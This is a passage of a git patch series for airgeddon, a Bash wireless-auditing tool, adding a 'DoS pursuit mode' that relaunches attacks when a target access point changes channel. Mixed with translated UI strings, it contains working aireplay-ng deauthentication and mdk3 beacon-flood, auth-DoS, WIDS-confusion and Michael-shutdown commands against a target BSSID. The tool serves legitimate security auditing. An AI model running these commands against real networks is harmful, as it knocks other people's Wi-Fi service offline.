arr["POLISH",505]="${pending_of_translation} " + + arr["ENGLISH",506]="DoS attack with the \"DoS pursuit mode\" enabled will start when you press [Enter] on this window. To stop it you must press [Ctrl+C] or close attack window" + arr["SPANISH",506]="El ataque DoS con el \"modo persecución DoS\" activado comenzará cuando pulse [Enter] en esta ventana. Para detenerlo deberá pulsar [Ctrl+C] o cerrar la ventana del ataque" + arr["FRENCH",506]="${pending_of_translation} L'attaque DoS avec le mode \"mode de poursuite DoS\" activé démarre lorsque vous appuyez sur [Enter] dans cette fenêtre. Pour l'arrêter, vous devez appuyer sur [Ctrl+C] ou fermer la fenêtre d'attaque" + arr["CATALAN",506]="${pending_of_translation} L'atac DoS amb el \"mode persecució DOS\" activat començarà quan premeu [Enter] en aquesta finestra. Per aturar-lo haurà de prémer [Ctrl+C] o tancar la finestra de l'atac" + arr["PORTUGUESE",506]="${pending_of_translation} O ataque DoS com o modo \"modo de perseguição do DoS\" ativado será iniciado quando você pressionar [Enter] nesta janela. Para parar, você deve pressionar [Ctrl+C] ou fechar a janela de ataque" + arr["RUSSIAN",506]="${pending_of_translation} DoS-атака с включенным \"режим преследования DoS\" включена, когда вы нажмете [Enter] в этом окне. Чтобы остановить его, вы должны нажать [Ctrl+C] или закрыть окно атаки" + arr["GREEK",506]="${pending_of_translation} Η επίθεση DoS με την ενεργοποιημένη λειτουργία \"DoS λειτουργία αναζήτησης\" ενεργοποιείται όταν πατήσετε [Enter] σε αυτό το παράθυρο. Για να το σταματήσετε πρέπει να πατήσετε [Ctrl+C] ή να κλείσετε το παράθυρο επίθεσης" + arr["ITALIAN",506]="${pending_of_translation} L'attacco DoS con la modalità \"modalità DoS persecuzione\" abilitato verrà avviato quando si preme [Enter] in questa finestra. Per fermarlo bisogna premere [Ctrl+C] o chiudere la finestra di attacco" + arr["POLISH",506]="${pending_of_translation} Atak DoS z uruchomionym trybem \"tryb pościgowy DoS\" zostanie uruchomiony po naciśnięciu przycisku [Enter] w tym oknie. Aby go zatrzymać, musisz nacisnąć [Ctrl+C] lub zamknąć okno ataku" + + arr["ENGLISH",507]="Channel change detected. Relaunching again DoS attack on \"DoS pursuit mode\" now on channel ${normal_color}${channel}" + arr["SPANISH",507]="Cambio de canal detectado. Relanzando de nuevo ataque DoS en \"modo persecución DoS\" ahora sobre el canal ${normal_color}${channel}" + arr["FRENCH",507]="${pending_of_translation} Changement de canal détecté. Redémarrage de DoS attaque à nouveau dans \"mode de poursuite DoS\" maintenant sur le canal ${normal_color}${channel}" + arr["CATALAN",507]="${pending_of_translation} Canvi de canal detectat. Rellançant de nou atac DOS en \"mode persecució DOS\" ara sobre el canal ${normal_color}${channel}" + arr["PORTUGUESE",507]="${pending_of_translation} Mudança de canal detectada. Relançando DoS atacar novamente em \"modo de perseguição do DoS\" agora pelo canal ${normal_color}${channel}" + arr["RUSSIAN",507]="${pending_of_translation} Обнаружено изменение канала. Повторная перезагрузка DoS-атаки в режиме \"режим преследования DoS\" теперь на канале ${normal_color}${channel}" + arr["GREEK",507]="${pending_of_translation} Η αλλαγή καναλιού εντοπίστηκε. Επανεκκίνηση και πάλι DoS επίθεση στο \"DoS λειτουργία αναζήτησης\" τώρα στο κανάλι ${normal_color}${channel}" + arr["ITALIAN",507]="${pending_of_translation} È stata rilevata la modifica del canale. Riavviare l'attacco DoS nuovamente in modalità \"modalità DoS persecuzione\" ora sul canale ${normal_color}${channel}" + arr["POLISH",507]="${pending_of_translation} Wykryto zmianę kanału. Ponowne uruchomienie ataku DoS w trybie \"tryb pościgowy DoS\" na kanale ${normal_color}${channel}" + case "${3}" in "yellow") interrupt_checkpoint "${2}" "${3}" From 0c4f4f4e1b133e3e31965bc4e31577a587ff2fa0 Mon Sep 17 00:00:00 2001 From: v1s1t0r1sh3r3 Date: Sun, 29 Oct 2017 22:57:04 +0100 Subject: [PATCH 21/70] Added "DoS pursuit mode" on aireplay DoS attack (not finished) --- airgeddon.sh | 58 ++++++++++++++++++++++++++++++++++++++++++++++------ 1 file changed, 52 insertions(+), 6 deletions(-) diff --git a/airgeddon.sh b/airgeddon.sh index 69e5389c9..8b9464d36 100644 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -2748,7 +2748,11 @@ function launch_dos_pursuit_mode_attack() { "mdk3 amok attack") xterm +j -bg black -fg red -geometry "${g1_topleft_window}" -T "${1}" -e mdk3 "${interface}" d -b "${tmpdir}bl.txt" -c "${channel}" > /dev/null 2>&1 & ;; - #TODO implement case for other DoS attacks + "aireplay deauth attack") + ${airmon} start "${interface}" "${channel}" > /dev/null 2>&1 + recalculate_windows_sizes + xterm +j -bg black -fg red -geometry "${g1_topleft_window}" -T "${1}" -e aireplay-ng --deauth 0 -a "${bssid}" --ignore-negative-one "${interface}" > /dev/null 2>&1 & + ;; esac dos_pursuit_mode_attack_pid=$! @@ -2830,13 +2834,24 @@ function exec_aireplaydeauth() { language_strings "${language}" 90 "title" language_strings "${language}" 32 "green" - ${airmon} start "${interface}" "${channel}" > /dev/null 2>&1 + tmpfiles_toclean=1 echo - language_strings "${language}" 33 "yellow" - language_strings "${language}" 4 "read" - recalculate_windows_sizes - xterm +j -bg black -fg red -geometry "${g1_topleft_window}" -T "aireplay deauth attack" -e aireplay-ng --deauth 0 -a "${bssid}" --ignore-negative-one "${interface}" > /dev/null 2>&1 + if [ "${dos_pursuit_mode}" -eq 1 ]; then + language_strings "${language}" 506 "yellow" + language_strings "${language}" 4 "read" + + dos_pursuit_mode_pids=() + launch_dos_pursuit_mode_attack "aireplay deauth attack" "first_time" + pid_control_pursuit_mode "aireplay deauth attack" + else + ${airmon} start "${interface}" "${channel}" > /dev/null 2>&1 + + language_strings "${language}" 33 "yellow" + language_strings "${language}" 4 "read" + recalculate_windows_sizes + xterm +j -bg black -fg red -geometry "${g1_topleft_window}" -T "aireplay deauth attack" -e aireplay-ng --deauth 0 -a "${bssid}" --ignore-negative-one "${interface}" > /dev/null 2>&1 + fi } #Execute WDS confusion DoS attack @@ -2952,6 +2967,13 @@ function aireplay_deauth_option() { return fi ask_channel + + #TODO check how to launch this avoiding airodump-ng channel hopping + #ask_yesno 505 "yes" + #if [ "${yesno}" = "y" ]; then + # dos_pursuit_mode=1 + #fi + exec_aireplaydeauth } @@ -2975,6 +2997,12 @@ function wds_confusion_option() { return fi ask_channel + + ask_yesno 505 "yes" + if [ "${yesno}" = "y" ]; then + dos_pursuit_mode=1 + fi + exec_wdsconfusion } @@ -2998,6 +3026,12 @@ function beacon_flood_option() { return fi ask_channel + + ask_yesno 505 "yes" + if [ "${yesno}" = "y" ]; then + dos_pursuit_mode=1 + fi + exec_beaconflood } @@ -3020,6 +3054,12 @@ function auth_dos_option() { if ! ask_bssid; then return fi + + ask_yesno 505 "yes" + if [ "${yesno}" = "y" ]; then + dos_pursuit_mode=1 + fi + exec_authdos } @@ -3042,6 +3082,12 @@ function michael_shutdown_option() { if ! ask_bssid; then return fi + + ask_yesno 505 "yes" + if [ "${yesno}" = "y" ]; then + dos_pursuit_mode=1 + fi + exec_michaelshutdown } From 2b13acdbac9ca07a05d7ce47bf73232faff10e5a Mon Sep 17 00:00:00 2001 From: v1s1t0r1sh3r3 Date: Sun, 29 Oct 2017 22:58:58 +0100 Subject: [PATCH 22/70] Added "DoS pursuit mode" feature to changelog --- CHANGELOG.md | 1 + 1 file changed, 1 insertion(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index b2dc2e960..ae2221f26 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -2,6 +2,7 @@ - Fixed error in Docker container on some host O.S. - Fixed error message on offline Arcadyan PIN algorithm calculation - Polish language translation added (Thank you to "dodg3rmaq") + - Added "DoS pursuit mode" on DoS attacks to avoid AP channel hopping ### 7.22 - Fixed error caused by Bettercap. Bug: https://github.com/evilsocket/bettercap/issues/356 From 4e82073951f5dbab1156aa5feabf7211b168d6ce Mon Sep 17 00:00:00 2001 From: v1s1t0r1sh3r3 Date: Sun, 29 Oct 2017 23:11:21 +0100 Subject: [PATCH 23/70] string 505 completed --- language_strings.sh | 14 +++++++------- 1 file changed, 7 insertions(+), 7 deletions(-) diff --git a/language_strings.sh b/language_strings.sh index adf847c3a..c06782702 100644 --- a/language_strings.sh +++ b/language_strings.sh @@ -5522,13 +5522,13 @@ function language_strings() { arr["ENGLISH",505]="Do you want to enable \"DoS pursuit mode\"? ${blue_color}This will launch again the attack if target AP change its channel countering \"channel hopping\" ${normal_color}${visual_choice}" arr["SPANISH",505]="¿Deseas activar el \"modo persecución DoS\"? ${blue_color}Esto relanzará el ataque si el AP objetivo cambia de canal contrarrestando el \"channel hopping\" ${normal_color}${visual_choice}" - arr["FRENCH",505]="${pending_of_translation} " - arr["CATALAN",505]="${pending_of_translation} " - arr["PORTUGUESE",505]="${pending_of_translation} " - arr["RUSSIAN",505]="${pending_of_translation} " - arr["GREEK",505]="${pending_of_translation} " - arr["ITALIAN",505]="${pending_of_translation} " - arr["POLISH",505]="${pending_of_translation} " + arr["FRENCH",505]="${pending_of_translation} Voulez-vous activer le \"mode de poursuite DoS\"? ${blue_color}Cela relancera l'attaque si le AP cible change de canal en contrecarrant le \"channel hopping\" ${normal_color}${visual_choice}" + arr["CATALAN",505]="${pending_of_translation} ¿Vols activar el \"mode persecució DoS\"? ${blue_color}Això rellançarà l'atac si l'AP objectiu canvia de canal contrarestant el \"channel hopping\" ${normal_color}${visual_choice}" + arr["PORTUGUESE",505]="${pending_of_translation} Você deseja ativar o \"modo de perseguição do DoS\"? ${blue_color}Isso irá relançar o ataque se o alvo AP alterar canais, contrariando o \"channel hopping\" ${normal_color}${visual_choice}" + arr["RUSSIAN",505]="${pending_of_translation} Вы хотите включить \"режим преследования DoS\"? ${blue_color}Это снова запустит атаку, если целевая AP изменит свой канал, противодействуя \"channel hopping\" ${normal_color}${visual_choice}" + arr["GREEK",505]="${pending_of_translation} Θέλετε να ενεργοποιήσετε την \"DoS λειτουργία αναζήτησης\"; ${blue_color}Αυτό θα ξεκινήσει και πάλι την επίθεση, εάν το AP στοχεύσει στην αλλαγή του καναλιού του \"channel hopping\" ${normal_color}${visual_choice}" + arr["ITALIAN",505]="${pending_of_translation} Vuoi attivare la modalità \"modalità DoS persecuzione\"? ${blue_color}Questo riprenderà l'attacco se il target AP cambia i canali contrastando la \"channel hopping\" ${normal_color}${visual_choice}" + arr["POLISH",505]="${pending_of_translation} Czy chcesz uaktywnić \"tryb pościgowy DoS\"? ${blue_color}To spowoduje ponowne atakowanie, jeśli docelowy punkt dostępu AP zmieni kanały, zmieniając kanały \"channel hopping\" ${normal_color}${visual_choice}" arr["ENGLISH",506]="DoS attack with the \"DoS pursuit mode\" enabled will start when you press [Enter] on this window. To stop it you must press [Ctrl+C] or close attack window" arr["SPANISH",506]="El ataque DoS con el \"modo persecución DoS\" activado comenzará cuando pulse [Enter] en esta ventana. Para detenerlo deberá pulsar [Ctrl+C] o cerrar la ventana del ataque" From b40ef5f96fee491a1c87ff3a9a6c6a4712408a2e Mon Sep 17 00:00:00 2001 From: v1s1t0r1sh3r3 Date: Sun, 29 Oct 2017 23:28:32 +0100 Subject: [PATCH 24/70] Added "DoS pursuit mode" on wids confusion DoS attack --- airgeddon.sh | 23 ++++++++++++++++++----- 1 file changed, 18 insertions(+), 5 deletions(-) diff --git a/airgeddon.sh b/airgeddon.sh index 8b9464d36..1e8f7a2dd 100644 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -2750,9 +2750,11 @@ function launch_dos_pursuit_mode_attack() { ;; "aireplay deauth attack") ${airmon} start "${interface}" "${channel}" > /dev/null 2>&1 - recalculate_windows_sizes xterm +j -bg black -fg red -geometry "${g1_topleft_window}" -T "${1}" -e aireplay-ng --deauth 0 -a "${bssid}" --ignore-negative-one "${interface}" > /dev/null 2>&1 & ;; + "wids / wips / wds confusion attack") + xterm +j -bg black -fg red -geometry "${g1_topleft_window}" -T "${1}" -e mdk3 "${interface}" w -e "${essid}" -c "${channel}" > /dev/null 2>&1 & + ;; esac dos_pursuit_mode_attack_pid=$! @@ -2863,11 +2865,22 @@ function exec_wdsconfusion() { language_strings "${language}" 91 "title" language_strings "${language}" 32 "green" + tmpfiles_toclean=1 + echo - language_strings "${language}" 33 "yellow" - language_strings "${language}" 4 "read" - recalculate_windows_sizes - xterm +j -bg black -fg red -geometry "${g1_topleft_window}" -T "wids / wips / wds confusion attack" -e mdk3 "${interface}" w -e "${essid}" -c "${channel}" > /dev/null 2>&1 + if [ "${dos_pursuit_mode}" -eq 1 ]; then + language_strings "${language}" 506 "yellow" + language_strings "${language}" 4 "read" + + dos_pursuit_mode_pids=() + launch_dos_pursuit_mode_attack "wids / wips / wds confusion attack" "first_time" + pid_control_pursuit_mode "wids / wips / wds confusion attack" + else + language_strings "${language}" 33 "yellow" + language_strings "${language}" 4 "read" + recalculate_windows_sizes + xterm +j -bg black -fg red -geometry "${g1_topleft_window}" -T "wids / wips / wds confusion attack" -e mdk3 "${interface}" w -e "${essid}" -c "${channel}" > /dev/null 2>&1 + fi } #Execute Beacon flood DoS attack From a3f25314064cd1f0ff0ac0331e8fc01bd54416fe Mon Sep 17 00:00:00 2001 From: v1s1t0r1sh3r3 Date: Sun, 29 Oct 2017 23:37:17 +0100 Subject: [PATCH 25/70] Added "DoS pursuit mode" on beacon flood DoS attack --- airgeddon.sh | 22 ++++++++++++++++++---- 1 file changed, 18 insertions(+), 4 deletions(-) diff --git a/airgeddon.sh b/airgeddon.sh index 1e8f7a2dd..5f52b315f 100644 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -2755,6 +2755,9 @@ function launch_dos_pursuit_mode_attack() { "wids / wips / wds confusion attack") xterm +j -bg black -fg red -geometry "${g1_topleft_window}" -T "${1}" -e mdk3 "${interface}" w -e "${essid}" -c "${channel}" > /dev/null 2>&1 & ;; + "beacon flood attack") + xterm +j -sb -rightbar -geometry "${g1_topleft_window}" -T "${1}" -e mdk3 "${interface}" b -n "${essid}" -c "${channel}" -s 1000 -h > /dev/null 2>&1 & + ;; esac dos_pursuit_mode_attack_pid=$! @@ -2892,11 +2895,22 @@ function exec_beaconflood() { language_strings "${language}" 92 "title" language_strings "${language}" 32 "green" + tmpfiles_toclean=1 + echo - language_strings "${language}" 33 "yellow" - language_strings "${language}" 4 "read" - recalculate_windows_sizes - xterm +j -sb -rightbar -geometry "${g1_topleft_window}" -T "beacon flood attack" -e mdk3 "${interface}" b -n "${essid}" -c "${channel}" -s 1000 -h > /dev/null 2>&1 + if [ "${dos_pursuit_mode}" -eq 1 ]; then + language_strings "${language}" 506 "yellow" + language_strings "${language}" 4 "read" + + dos_pursuit_mode_pids=() + launch_dos_pursuit_mode_attack "beacon flood attack" "first_time" + pid_control_pursuit_mode "beacon flood attack" + else + language_strings "${language}" 33 "yellow" + language_strings "${language}" 4 "read" + recalculate_windows_sizes + xterm +j -sb -rightbar -geometry "${g1_topleft_window}" -T "beacon flood attack" -e mdk3 "${interface}" b -n "${essid}" -c "${channel}" -s 1000 -h > /dev/null 2>&1 + fi } #Execute Auth DoS attack From 7b61d239a870bbd57c9e619c2ef02d958ce9d951 Mon Sep 17 00:00:00 2001 From: v1s1t0r1sh3r3 Date: Sun, 29 Oct 2017 23:52:13 +0100 Subject: [PATCH 26/70] Added "DoS pursuit mode" on auth DoS attack --- airgeddon.sh | 24 +++++++++++++++++++----- 1 file changed, 19 insertions(+), 5 deletions(-) diff --git a/airgeddon.sh b/airgeddon.sh index 5f52b315f..e33737937 100644 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -2758,6 +2758,9 @@ function launch_dos_pursuit_mode_attack() { "beacon flood attack") xterm +j -sb -rightbar -geometry "${g1_topleft_window}" -T "${1}" -e mdk3 "${interface}" b -n "${essid}" -c "${channel}" -s 1000 -h > /dev/null 2>&1 & ;; + "auth dos attack") + xterm +j -sb -rightbar -geometry "${g1_topleft_window}" -T "${1}" -e mdk3 "${interface}" a -a "${bssid}" -m -s 1024 > /dev/null 2>&1 & + ;; esac dos_pursuit_mode_attack_pid=$! @@ -2922,11 +2925,22 @@ function exec_authdos() { language_strings "${language}" 93 "title" language_strings "${language}" 32 "green" + tmpfiles_toclean=1 + echo - language_strings "${language}" 33 "yellow" - language_strings "${language}" 4 "read" - recalculate_windows_sizes - xterm +j -sb -rightbar -geometry "${g1_topleft_window}" -T "auth dos attack" -e mdk3 "${interface}" a -a "${bssid}" -m -s 1024 > /dev/null 2>&1 + if [ "${dos_pursuit_mode}" -eq 1 ]; then + language_strings "${language}" 506 "yellow" + language_strings "${language}" 4 "read" + + dos_pursuit_mode_pids=() + launch_dos_pursuit_mode_attack "auth dos attack" "first_time" + pid_control_pursuit_mode "auth dos attack" + else + language_strings "${language}" 33 "yellow" + language_strings "${language}" 4 "read" + recalculate_windows_sizes + xterm +j -sb -rightbar -geometry "${g1_topleft_window}" -T "auth dos attack" -e mdk3 "${interface}" a -a "${bssid}" -m -s 1024 > /dev/null 2>&1 + fi } #Execute Michael Shutdown DoS attack @@ -7143,7 +7157,7 @@ function kill_dos_pursuit_mode_processes() { debug_print for item in "${dos_pursuit_mode_pids[@]}"; do - kill "${item}" &> /dev/null + kill -9 "${item}" &> /dev/null wait "${item}" 2>/dev/null done } From 9ff388140b4cb334ecd42845045764bfa888b69d Mon Sep 17 00:00:00 2001 From: v1s1t0r1sh3r3 Date: Mon, 30 Oct 2017 00:00:32 +0100 Subject: [PATCH 27/70] Added "DoS pursuit mode" on Michael Shutdown DoS attack --- airgeddon.sh | 22 ++++++++++++++++++---- 1 file changed, 18 insertions(+), 4 deletions(-) diff --git a/airgeddon.sh b/airgeddon.sh index e33737937..fbfffd1ef 100644 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -2761,6 +2761,9 @@ function launch_dos_pursuit_mode_attack() { "auth dos attack") xterm +j -sb -rightbar -geometry "${g1_topleft_window}" -T "${1}" -e mdk3 "${interface}" a -a "${bssid}" -m -s 1024 > /dev/null 2>&1 & ;; + "michael shutdown attack") + xterm +j -sb -rightbar -geometry "${g1_topleft_window}" -T "${1}" -e mdk3 "${interface}" m -t "${bssid}" -w 1 -n 1024 -s 1024 > /dev/null 2>&1 & + ;; esac dos_pursuit_mode_attack_pid=$! @@ -2952,11 +2955,22 @@ function exec_michaelshutdown() { language_strings "${language}" 94 "title" language_strings "${language}" 32 "green" + tmpfiles_toclean=1 + echo - language_strings "${language}" 33 "yellow" - language_strings "${language}" 4 "read" - recalculate_windows_sizes - xterm +j -sb -rightbar -geometry "${g1_topleft_window}" -T "michael shutdown attack" -e mdk3 "${interface}" m -t "${bssid}" -w 1 -n 1024 -s 1024 > /dev/null 2>&1 + if [ "${dos_pursuit_mode}" -eq 1 ]; then + language_strings "${language}" 506 "yellow" + language_strings "${language}" 4 "read" + + dos_pursuit_mode_pids=() + launch_dos_pursuit_mode_attack "michael shutdown attack" "first_time" + pid_control_pursuit_mode "michael shutdown attack" + else + language_strings "${language}" 33 "yellow" + language_strings "${language}" 4 "read" + recalculate_windows_sizes + xterm +j -sb -rightbar -geometry "${g1_topleft_window}" -T "michael shutdown attack" -e mdk3 "${interface}" m -t "${bssid}" -w 1 -n 1024 -s 1024 > /dev/null 2>&1 + fi } #Validate Mdk3 parameters From 66c4d90d630a7c2ae574350384998d7b1ed177be Mon Sep 17 00:00:00 2001 From: v1s1t0r1sh3r3 Date: Mon, 30 Oct 2017 00:12:34 +0100 Subject: [PATCH 28/70] Fixed error appearing sometimes on "DoS pursuit mode" aireplay DoS attack --- airgeddon.sh | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/airgeddon.sh b/airgeddon.sh index fbfffd1ef..e3f20cc61 100644 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -2,7 +2,7 @@ #Title........: airgeddon.sh #Description..: This is a multi-use bash script for Linux systems to audit wireless networks. #Author.......: v1s1t0r -#Date.........: 20171029 +#Date.........: 20171030 #Version......: 7.23 #Usage........: bash airgeddon.sh #Bash Version.: 4.2 or later @@ -2769,6 +2769,7 @@ function launch_dos_pursuit_mode_attack() { dos_pursuit_mode_attack_pid=$! dos_pursuit_mode_pids+=("${dos_pursuit_mode_attack_pid}") + sleep 3 airodump-ng -w "${tmpdir}dos_pm" "${interface}" > /dev/null 2>&1 & dos_pursuit_mode_scan_pid=$! dos_pursuit_mode_pids+=("${dos_pursuit_mode_scan_pid}") @@ -3023,11 +3024,10 @@ function aireplay_deauth_option() { fi ask_channel - #TODO check how to launch this avoiding airodump-ng channel hopping - #ask_yesno 505 "yes" - #if [ "${yesno}" = "y" ]; then - # dos_pursuit_mode=1 - #fi + ask_yesno 505 "yes" + if [ "${yesno}" = "y" ]; then + dos_pursuit_mode=1 + fi exec_aireplaydeauth } From b017c55da6d6d33af36b1f1e42c805847754d6b9 Mon Sep 17 00:00:00 2001 From: v1s1t0r1sh3r3 Date: Mon, 30 Oct 2017 00:31:28 +0100 Subject: [PATCH 29/70] Small fixes on some strings --- language_strings.sh | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/language_strings.sh b/language_strings.sh index c06782702..eb39f82b1 100644 --- a/language_strings.sh +++ b/language_strings.sh @@ -2,7 +2,7 @@ #Title........: language_strings.sh #Description..: All the translated strings that airgeddon uses are located here. #Author.......: v1s1t0r -#Date.........: 20171029 +#Date.........: 20171030 #Bash Version.: 4.2 or later #Set language_strings file version @@ -3733,7 +3733,7 @@ function language_strings() { arr["ENGLISH",326]="Are you going to use the interface with internet access method? ${pink_color}If the answer is no (\"n\"), you'll need ${optional_tools_names[12]} installed to continue. Both will be checked ${normal_color}${visual_choice}" arr["SPANISH",326]="¿Vas a utilizar el método de la interfaz con acceso a internet? ${pink_color}Si la respuesta es no (\"n\"), necesitarás tener instalado ${optional_tools_names[12]} para continuar. Ambas cosas se comprobarán ${normal_color}${visual_choice}" arr["FRENCH",326]="Allez-vous choisir la méthode qui emploie une interface connectée à internet? ${pink_color}Si la réponse est non (\"n\"), vous m'avez besoin de ${optional_tools_names[12]}. Une vérication se fera à ce niveau avant de lancer l'une ou l'autre méthode${normal_color}${visual_choice}" - arr["CATALAN",326]="Vas a utilitzar el mètode de la interfície amb accés a internet? ${pink_color}Si la resposta és no (\"n\"), necessitaràs tenir instal·lat ${optional_tools_names[12]} per continuar. Totes dues coses es comprovaran ${normal_color}${visual_choice}" + arr["CATALAN",326]="¿Vas a utilitzar el mètode de la interfície amb accés a internet? ${pink_color}Si la resposta és no (\"n\"), necessitaràs tenir instal·lat ${optional_tools_names[12]} per continuar. Totes dues coses es comprovaran ${normal_color}${visual_choice}" arr["PORTUGUESE",326]="Você gostaria de ultilizar uma interface com acesso à internet para o ataque? ${pink_color}Se a resposta for não (\"n\"), você precisa ter instalado ${optional_tools_names[12]} para continuar. Ambos serão verificados ${normal_color}${visual_choice}" arr["RUSSIAN",326]="Собираетесь ли вы использовать этот метод с Интернет-доступом? ${pink_color}Если ответ нет (\"п\"), то для продолжения вам нужно установить ${optional_tools_names[12]}. Будут выполнены проверки обоих условий ${normal_color}${visual_choice}" arr["GREEK",326]="Σκοπεύετε να χρησιμοποιήσετε την διεπαφή με την μέθοδο πρόσβασης στο διαδίκτυο; ${pink_color}Αν απαντήσετε όχι (\"n\"), θα πρέπει να έχετε το ${optional_tools_names[12]} εγκατεστημένο για να συνεχίσετε. Και τα δύο ελέγχονται ${normal_color}${visual_choice}" @@ -4683,7 +4683,7 @@ function language_strings() { arr["ENGLISH",421]="Doubts? Visit our Wiki: ${normal_color}${urlgithub_wiki}" arr["SPANISH",421]="¿Dudas? Visita nuestro Wiki: ${normal_color}${urlgithub_wiki}" arr["FRENCH",421]="Des questions? Visitez notre Wiki: ${normal_color}${urlgithub_wiki}" - arr["CATALAN",421]="Dubtes? Visita el nostre Wiki: ${normal_color}${urlgithub_wiki}" + arr["CATALAN",421]="¿Dubtes? Visita el nostre Wiki: ${normal_color}${urlgithub_wiki}" arr["PORTUGUESE",421]="Dúvidas? Visite a Wiki: ${normal_color}${urlgithub_wiki}" arr["RUSSIAN",421]="Вопросы? Посетите Wiki: ${normal_color}${urlgithub_wiki}" arr["GREEK",421]="Απορίες; Επισκεφθείτε το Wiki μας: ${normal_color}${urlgithub_wiki}" @@ -4864,7 +4864,7 @@ function language_strings() { arr["SPANISH",439]="${blue_color}Se ha detectado que no tienes seleccionado ningún objetivo, tendrás que introducir los datos manualmente. ${green_color}¿Deseas continuar? ${normal_color}${visual_choice}" arr["FRENCH",439]="${blue_color}Aucun objectif n'a été sélectionnéIl semble que vous avez sélectionné aucun but, vous devez saisir les données manuellement. ${green_color}Voulez-vous continuer? ${normal_color}${visual_choice}" arr["CATALAN",439]="${blue_color}S'ha detectat que no tens seleccionat cap objectiu, hauràs d'introduir les dades manualment. ${green_color}¿Vols continuar? ${normal_color}${visual_choice}" - arr["PORTUGUESE",439]="${blue_color}Nenhum alvo foi selecionado, você será direcionado para inserir os dados manualmente. ${green_color}deseja continuar? ${normal_color}${visual_choice}" + arr["PORTUGUESE",439]="${blue_color}Nenhum alvo foi selecionado, você será direcionado para inserir os dados manualmente. ${green_color}Deseja continuar? ${normal_color}${visual_choice}" arr["RUSSIAN",439]="${blue_color}Вы не выбрали какую-либо цель, вам будет предложено ввести данные вручную. ${green_color}Вы хотите продолжить? ${normal_color}${visual_choice}" arr["GREEK",439]="${blue_color}Δεν έχετε επιλέξει κάποιο στόχο, θα σας ζητηθεί να εισάγετε τα δεδομένα χειροκίνητα. ${green_color}Θέλετε να συνεχίσετε; ${normal_color}${visual_choice}" arr["ITALIAN",439]="${blue_color}Abbiamo rilevato che non è stato selezionato alcun obiettivo, è necessario immettere manualmente i dati. ${green_color}Vuoi continuare? ${normal_color}${visual_choice}" @@ -5323,7 +5323,7 @@ function language_strings() { arr["ENGLISH",485]="${blue_color}Some PINs have been added calculated using the algorithms (ComputePIN, EasyBox, etc.), however you can add one more (Arcadyan). Calculating it requires certain data and a background scan will have to be performed. The process may be very slow. ${green_color}Do you want to proceed with the calculation to add it? ${normal_color}${visual_choice}" arr["SPANISH",485]="${blue_color}Se han añadido algunos PINs calculados por algoritmos (ComputePIN, EasyBox, etc.), pero aún se puede añadir uno más (Arcadyan). Calcularlo requiere ciertos datos y habrá que realizar un escaneo en segundo plano. Es posible que el proceso sea muy lento. ${green_color}¿Quieres proceder con el cálculo para añadirlo? ${normal_color}${visual_choice}" arr["FRENCH",485]="${blue_color}Certains PINs ajouté ont été calculés par des algorithmes (ComputePIN, EasyBox, etc.), mais vous pouvez encore ajouter un autre (Arcadyan). Le calcul nécessite certaines données et une analyse d'arrière-plan devra être effectuée. Le processus peut être très lent. ${green_color}Voulez-vous procéder au calcul pour l'ajouter? ${normal_color}${visual_choice}" - arr["CATALAN",485]="${blue_color}S'han afegit alguns PINs calculats per algoritmes (ComputePIN, EasyBox, etc.), però encara es pot afegir un més (Arcadyan). Calcular-lo requereix certes dades i caldrà realitzar un escaneig en segon pla. És possible que el procés sigui molt lent. ${green_color}Vols procedir amb el càlcul per afegir-ho? ${normal_color}${visual_choice}" + arr["CATALAN",485]="${blue_color}S'han afegit alguns PINs calculats per algoritmes (ComputePIN, EasyBox, etc.), però encara es pot afegir un més (Arcadyan). Calcular-lo requereix certes dades i caldrà realitzar un escaneig en segon pla. És possible que el procés sigui molt lent. ${green_color}¿Vols procedir amb el càlcul per afegir-ho? ${normal_color}${visual_choice}" arr["PORTUGUESE",485]="${blue_color}Alguns PINs adicionados foram calculados usando algoritmos (ComputePIN, EasyBox, etc.), mas você ainda pode adicionar mais um (Arcadyan). Calculá-lo requer certos dados e uma verificação em segundo plano terá que ser realizada. O processo pode ser muito lento. ${green_color}Deseja continuar com o cálculo para adicioná-lo? ${normal_color}${visual_choice}" arr["RUSSIAN",485]="${blue_color}Некоторые добавленные PIN были вычислены алгоритмами (ComputePIN, EasyBox, и т.д.), но вы можете добавить ещё один (Arcadyan). Для его вычисления требуются определенные данные, и необходимо выполнить фоновое сканирование. Процесс может быть очень медленным. ${green_color}Вы хотите добавить PIN, вычисленные этим алгоритмом? ${normal_color}${visual_choice}" arr["GREEK",485]="${blue_color}Έχουν προστεθεί ορισμένοι κωδικοί PIN υπολογισμένοι με τους αλγόριθμους (ComputePIN, EasyBox, κτλπ.), μπορείτε όμως να προσθέσετε άλλον έναν κωδικό (Arcadyan). Ο υπολογισμός του απαιτεί ορισμένα δεδομένα και θα πρέπει να πραγματοποιηθεί κάποιο scan στο background. Η διαδικασία αυτή μπορεί να αργοπορήσει. ${green_color}Θέλετε να συνεχίσετε με τον υπολογισμό του και να τον προσθέσετε; ${normal_color}${visual_choice}" From 150a2e4faace7b3954fb319fbfb6fb9c668a871e Mon Sep 17 00:00:00 2001 From: v1s1t0r1sh3r3 Date: Mon, 30 Oct 2017 00:33:50 +0100 Subject: [PATCH 30/70] Fine time tunning for DoS pursuit mode on different DoS attacks --- airgeddon.sh | 8 +++++++- 1 file changed, 7 insertions(+), 1 deletion(-) diff --git a/airgeddon.sh b/airgeddon.sh index e3f20cc61..cb0945ba1 100644 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -2747,21 +2747,27 @@ function launch_dos_pursuit_mode_attack() { case "${1}" in "mdk3 amok attack") xterm +j -bg black -fg red -geometry "${g1_topleft_window}" -T "${1}" -e mdk3 "${interface}" d -b "${tmpdir}bl.txt" -c "${channel}" > /dev/null 2>&1 & + dos_delay=1 ;; "aireplay deauth attack") ${airmon} start "${interface}" "${channel}" > /dev/null 2>&1 + dos_delay=3 xterm +j -bg black -fg red -geometry "${g1_topleft_window}" -T "${1}" -e aireplay-ng --deauth 0 -a "${bssid}" --ignore-negative-one "${interface}" > /dev/null 2>&1 & ;; "wids / wips / wds 